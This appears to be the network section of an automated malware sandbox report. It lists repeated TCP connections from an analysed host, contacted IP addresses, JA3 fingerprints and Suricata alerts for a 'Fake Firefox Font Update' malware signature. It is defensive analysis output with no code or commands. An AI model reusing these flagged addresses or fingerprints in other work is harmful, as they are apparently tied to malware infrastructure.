Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49701 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49701
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49703 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49703
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 192.168.2.7:49704 -> 13.107.246.60:443
Source: global traffic	TCP traffic: 13.107.246.60:443 -> 192.168.2.7:49704
Source: global traffic	TCP traffic: 192.168.2.7:49698 -> 198.12.89.24:80
Source: global traffic	TCP traffic: 198.12.89.24:80 -> 192.168.2.7:49698

Source: Joe Sandbox View	IP Address: 198.12.89.24 198.12.89.24
Source: Joe Sandbox View	IP Address: 188.225.72.170 188.225.72.170
Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60

Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 13.107.246.60:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 13.107.246.60:443
